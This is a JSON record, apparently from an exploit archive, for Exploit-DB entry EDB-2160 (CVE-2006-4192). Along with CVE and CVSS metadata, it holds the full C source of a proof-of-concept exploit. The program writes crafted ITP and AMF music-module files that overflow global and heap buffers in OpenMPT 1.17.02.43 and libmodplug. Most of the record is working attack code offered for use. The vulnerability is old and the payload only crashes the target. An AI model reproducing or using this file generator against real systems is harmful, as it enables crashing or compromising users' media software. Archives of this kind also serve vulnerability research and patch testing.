{"exploit":{"id":"EDB-2160","name":"OpenMPT 1.17.02.43 - Multiple Remote Buffer Overflows (PoC)","description":"OpenMPT 1.17.02.43 - Multiple Remote Buffer Overflows (PoC)","cves":["CVE-2006-4192"],"author":"Luigi Auriemma","published":"2006-08-10","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2160","path":"exploits/windows/dos/2160.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2160.c","vulnerabilities":[{"id":"CVE-2006-4192","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple buffer overflows in MODPlug Tracker (OpenMPT) 1.17.02.43 and earlier and libmodplug 0.8 and earlier, as used in GStreamer and possibly other products, allow user-assisted remote attackers to execute arbitrary code via (1) long strings in ITP files used by the CSoundFile::ReadITProject function in soundlib/Load_it.cpp and (2) crafted modules used by the CSoundFile::ReadSample function in soundlib/Sndfile.cpp, as demonstrated by crafted AMF files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4192","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4192"},"updatedAt":"2024-08-07T18:57:46.540Z","retrievedAt":"2026-11-27T05:12:33.807Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2160.png?v=2","url":"https://exploitbin.com/exploits/EDB-2160","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2160/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2160/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nby Luigi Auriemma\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\n#ifdef WIN32\n    #include <winsock.h>    // htonl\n#else\n    #include <netinet/in.h>\n#endif\n\n\n\n#define VER             \"0.1\"\n#define HEAPOVERSZ      512\n#define ITPHEAPOVERSZ   150000\n#define ALLOCSAMPLESZ   ((39 & ~7) + 16)\n#define SONG_ITPROJECT  0x20000\n\n\nvoid fwbof(FILE *fd, int len, int chr);\nvoid fwi32(FILE *fd, int num);\nvoid std_err(void);\n\n\n\n#pragma pack(1)\n\ntypedef struct {\n    uint8_t     sign[35];\n    uint8_t     patterns;\n    uint8_t     orders;\n    uint8_t     dunno1;\n    uint8_t     dunno2[256];\n} amf_head_t;\n\ntypedef struct {\n    uint8_t     name[22];\n    uint8_t     finetune;\n    uint8_t     volume;\n    uint8_t     dunno1;\n    uint32_t    length;\n    uint32_t    reppos;\n    uint32_t    replen;\n} amf_smp_t;\n\n#pragma pack()\n\n\n\nint main(int argc, char *argv[]) {\n    amf_head_t      amf_head;\n    amf_smp_t       amf_smp;\n    FILE    *fd;\n    int     i,\n            attack;\n    char    *fname;\n\n    setbuf(stdout, NULL);\n\n    fputs(\"\\n\"\n        \"OpenMPT <= 1.17.02.43 and SVN <= 157 stack and heap overflows \"VER\"\\n\"\n        \"by Luigi Auriemma\\n\"\n        \"e-mail: aluigi@autistici.org\\n\"\n        \"web:    aluigi.org\\n\"\n        \"\\n\", stdout);\n\n    if(argc < 2) {\n        printf(\"\\n\"\n            \"Usage: %s <attack> <output_file>\\n\"\n            \"\\n\"\n            \"Attacks:\\n\"\n            \" 1 = various global buffer overflows in ReadITProject (*.ITP)\\n\"\n            \" 2 = heap overflow in ReadSample                      (*.AMF)\\n\"\n            \"\\n\", argv[0]);\n        exit(1);\n    }\n\n    attack = atoi(argv[1]);\n    fname  = argv[2];\n\n    printf(\"- create file %s\\n\", fname);\n    fd = fopen(fname, \"wb\");\n    if(!fd) std_err();\n\n    if(attack == 1) {\n        fwi32(fd, 0x2e697470);          // .itp\n        fwi32(fd, 0x00000000);          // version\n        fwi32(fd, ITPHEAPOVERSZ);       // song name len\n        fwbof(fd, ITPHEAPOVERSZ, 'a');  // song name\n        fwi32(fd, 0);                   // comments len\n        fwi32(fd, SONG_ITPROJECT);      // m_dwSongFlags\n        fwi32(fd, 128);                 // m_nDefaultGlobalVolume\n        fwi32(fd, 0);                   // m_nSongPreAmp\n        fwi32(fd, 0);                   // m_nDefaultSpeed\n        fwi32(fd, 0);                   // m_nDefaultTempo\n        fwi32(fd, 0);                   // m_nChannels\n        fwi32(fd, 0);                   // channel name len\n        // for(i=0; i<m_nChannels; i++){\n        fwi32(fd, 0);                   // LoadMixPlugins len\n        fwi32(fd, 0);                   // m_MidiCfg len\n        fwi32(fd, 0);                   // m_nInstruments\n        fwi32(fd, 0);                   // path instruments len\n        fwi32(fd, 0);                   // order len\n        fwi32(fd, 0);                   // number of patterns\n        fwi32(fd, 0);                   // m_nPatternNames\n        fwi32(fd, 0);                   // m_lpszPatternNames len\n        fwi32(fd, 0);                   // modcommand data length\n        fwi32(fd, 0);                   // m_nSamples\n        fwi32(fd, 0);                   // Read number of embeded samples\n\n    } else if(attack == 2) {\n        memset(&amf_head, 0, sizeof(amf_head));\n        memset(&amf_smp,  0, sizeof(amf_smp));\n\n        strcpy(amf_head.sign, \"ASYLUM Music Format V1.0\");\n        amf_head.patterns = 1;\n        amf_head.orders   = 1;\n        fwrite(&amf_head, sizeof(amf_head), 1, fd);\n\n        for(i = 0; i < 64; i++) {\n            sprintf(amf_smp.name, \"sample %d\", i);\n            amf_smp.finetune = 0;\n            amf_smp.volume   = 64;\n            amf_smp.length   = ((0 - 6) - 39) + 16; // ReadSample and AllocateSample\n            amf_smp.reppos   = 0;\n            amf_smp.replen   = 0;\n            fwrite(&amf_smp, sizeof(amf_smp), 1, fd);\n        }\n\n        fwbof(fd, 64 * 32, 0x00);\n\n        fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');\n    }\n\n    fclose(fd);\n    printf(\"- finished\\n\");\n    return(0);\n}\n\n\n\nvoid fwbof(FILE *fd, int len, int chr) {\n    while(len--) fputc(chr, fd);\n}\n\n\n\nvoid fwi32(FILE *fd, int num) {\n    fputc((num      ) & 0xff, fd);\n    fputc((num >>  8) & 0xff, fd);\n    fputc((num >> 16) & 0xff, fd);\n    fputc((num >> 24) & 0xff, fd);\n}\n\n\n\nvoid std_err(void) {\n    perror(\"\\nError\");\n    exit(1);\n}\n\n// milw0rm.com [2006-08-10]","sha256":"c061df72aaa427df8f2933f75c41f8dabcb79527b18ff0c14ea8501e198c0edb","bytes":4345,"fetchedAt":"2026-11-27T05:12:33.609Z","encoding":"utf-8 (display only; download retains original bytes)"}